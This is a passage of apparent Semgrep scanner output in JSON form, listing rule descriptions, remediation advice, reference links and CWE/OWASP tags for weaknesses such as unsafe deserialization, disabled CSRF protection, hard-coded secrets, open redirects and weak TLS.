against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","id":"python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","name":"python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-numpy-pickle.tainted-numpy-pickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator."},"help":{"markdown":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.csrf-exempt.no-csrf-exempt)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected usage of @csrf_exempt, which indicates that there is no CSRF token set for this route. This could lead to an attacker manipulating the user's account and exfiltration of private data. Instead, create a function without this decorator."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.csrf-exempt.no-csrf-exempt","id":"python.django.security.audit.csrf-exempt.no-csrf-exempt","name":"python.django.security.audit.csrf-exempt.no-csrf-exempt","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.csrf-exempt.no-csrf-exempt"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-marshal-django.tainted-marshal-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-marshal-django.tainted-marshal-django","id":"python.django.deserialization.tainted-marshal-django.tainted-marshal-django","name":"python.django.deserialization.tainted-marshal-django.tainted-marshal-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-marshal-django.tainted-marshal-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CSRF protection is disabled for this configuration. This is a security risk."},"help":{"markdown":"CSRF protection is disabled for this configuration. This is a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"CSRF protection is disabled for this configuration. This is a security risk."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","id":"java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","name":"java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-csrf-disabled.spring-csrf-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue."},"help":{"markdown":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue)\n - [https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-data-protection.html](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-data-protection.html)\n","text":"Queue $X is missing encryption at rest. Add \"encryption: $Y.QueueEncryption.KMS\" or \"encryption: $Y.QueueEncryption.KMS_MANAGED\" to the queue props to enable encryption at rest for the queue."},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","id":"typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","name":"typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-sqs-unencryptedqueue.awscdk-sqs-unencryptedqueue"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","id":"kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","name":"kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.session.hardcoded-signing-key.hardcoded-signing-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist."},"help":{"markdown":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.open-redirect.open-redirect)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unvalidated_redirects___forwards/open_redirect_go_lang.html](https://knowledge-base.secureflag.com/vulnerabilities/unvalidated_redirects___forwards/open_redirect_go_lang.html)\n","text":"An HTTP redirect was found to be crafted from user-input `$REQUEST`. This can lead to open redirect vulnerabilities, potentially allowing attackers to redirect users to malicious web sites. It is recommend where possible to not allow user-input to craft the redirect URL. When user-input is necessary to craft the request, it is recommended to follow OWASP best practices to restrict the URL to domains in an allowlist."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.open-redirect.open-redirect","id":"go.lang.security.injection.open-redirect.open-redirect","name":"go.lang.security.injection.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"help":{"markdown":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.retrieve)\n","text":"Detected an insecure transmission channel. 'URLopener.retrieve(...)' is being used with 'ftp://'. Use SFTP instead. urllib does not support SFTP, so consider using a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-retrieve-ftp.insecure-urlopener-retrieve-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Autoescape is globally disbaled for this Django application. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"help":{"markdown":"Autoescape is globally disbaled for this Django application. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.global-autoescape-off.global-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/settings/#templates](https://docs.djangoproject.com/en/3.1/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.1/topics/templates/#django.template.backends.django.DjangoTemplates)\n","text":"Autoescape is globally disbaled for this Django application. If you are rendering any web pages, this exposes your application to cross-site scripting (XSS) vulnerabilities. Remove 'autoescape: False' or set it to 'True'."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","id":"python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","name":"python.django.security.audit.xss.global-autoescape-off.global-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.global-autoescape-off.global-autoescape-off"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join()."},"help":{"markdown":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess1)\n","text":"multiprocessing.Process.close() is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use join()."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-multiprocess1","id":"python.lang.compatibility.python37.python37-compatibility-multiprocess1","name":"python.lang.compatibility.python37.python37-compatibility-multiprocess1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-multiprocess1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead."},"help":{"markdown":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.security.no-auth-over-http.no-auth-over-http)\n - [https://semgrep.dev/blog/2020/bento-check-no-auth-over-http/](https://semgrep.dev/blog/2020/bento-check-no-auth-over-http/)\n - [https://bento.dev/checks/requests/no-auth-over-http/](https://bento.dev/checks/requests/no-auth-over-http/)\n","text":"Authentication detected over HTTP. HTTP does not provide any encryption or protection for these authentication credentials. This may expose these credentials to unauthorized parties. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.requests.security.no-auth-over-http.no-auth-over-http","id":"python.requests.security.no-auth-over-http.no-auth-over-http","name":"python.requests.security.no-auth-over-http.no-auth-over-http","properties":{"precision":"very-high","tags":["CWE-523: Unprotected Transport of Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.security.no-auth-over-http.no-auth-over-http"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.missing-secure.missing-secure)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.missing-secure.missing-secure","id":"csharp.lang.audit.cookies.missing-secure.missing-secure","name":"csharp.lang.audit.cookies.missing-secure.missing-secure","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.missing-secure.missing-secure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Telnet does not encrypt communications. Use SSH instead."},"help":{"markdown":"Telnet does not encrypt communications. Use SSH instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.telnetlib.telnetlib)\n - [https://docs.python.org/3/library/telnetlib.html](https://docs.python.org/3/library/telnetlib.html)\n","text":"Telnet does not encrypt communications. Use SSH instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.telnetlib.telnetlib","id":"python.lang.security.audit.telnetlib.telnetlib","name":"python.lang.security.audit.telnetlib.telnetlib","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.telnetlib.telnetlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS."},"help":{"markdown":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version)\n - [https://www.ietf.org/rfc/rfc5246.txt](https://www.ietf.org/rfc/rfc5246.txt)\n","text":"Detected an AWS load balancer with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `ssl_policy` to `\"ELBSecurityPolicy-TLS13-1-2-2021-06\"`, or include a default action to redirect to HTTPS."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","id":"terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","name":"terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.insecure-load-balancer-tls-version.insecure-load-balancer-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a possible ZeroDivisionError."},"help":{"markdown":"Detected a possible ZeroDivisionError.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.divide-by-zero.divide-by-zero)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_divide_by_zero.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_divide_by_zero.rb)\n","text":"Detected a possible ZeroDivisionError."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.divide-by-zero.divide-by-zero","id":"ruby.lang.security.divide-by-zero.divide-by-zero","name":"ruby.lang.security.divide-by-zero.divide-by-zero","properties":{"precision":"very-high","tags":["CWE-369: Divide By Zero","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.divide-by-zero.divide-by-zero"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext."},"help":{"markdown":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.aead-no-final.aead-no-final)\n - [https://nodejs.org/api/crypto.html#deciphersetauthtagbuffer-encoding](https://nodejs.org/api/crypto.html#deciphersetauthtagbuffer-encoding)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures/](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/)\n","text":"The 'final' call of a Decipher object checks the authentication tag in a mode for authenticated encryption. Failing to call 'final' will invalidate all integrity guarantees of the released ciphertext."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.aead-no-final.aead-no-final","id":"javascript.node-crypto.security.aead-no-final.aead-no-final","name":"javascript.node-crypto.security.aead-no-final.aead-no-final","properties":{"precision":"very-high","tags":["CWE-310: CWE CATEGORY: Cryptographic Issues","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.aead-no-final.aead-no-final"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","id":"javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","name":"javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.xml2json.security.audit.xml2json-xxe.xml2json-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","id":"ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","name":"ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.audit.jwt-exposed-data.ruby-jwt-exposed-data"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Evaluating non-constant commands. This can lead to command injection."},"help":{"markdown":"Evaluating non-constant commands. This can lead to command injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.eval-use.eval-use)\n - [https://www.php.net/manual/en/function.eval](https://www.php.net/manual/en/function.eval)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/NoEvalsSniff.php)\n","text":"Evaluating non-constant commands. This can lead to command injection."},"helpUri":"https://semgrep.dev/r/php.lang.security.eval-use.eval-use","id":"php.lang.security.eval-use.eval-use","name":"php.lang.security.eval-use.eval-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.eval-use.eval-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage."},"help":{"markdown":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.string.format-string.swift-format-string)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage."},"helpUri":"https://semgrep.dev/r/swift.lang.string.format-string.swift-format-string","id":"swift.lang.string.format-string.swift-format-string","name":"swift.lang.string.format-string.swift-format-string","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.string.format-string.swift-format-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Static IV used with AES in CBC mode. Static IVs enable chosen-plaintext attacks against encrypted data."},"help":{"markdown":"Static IV used with AES in CBC mode. Static IVs enable 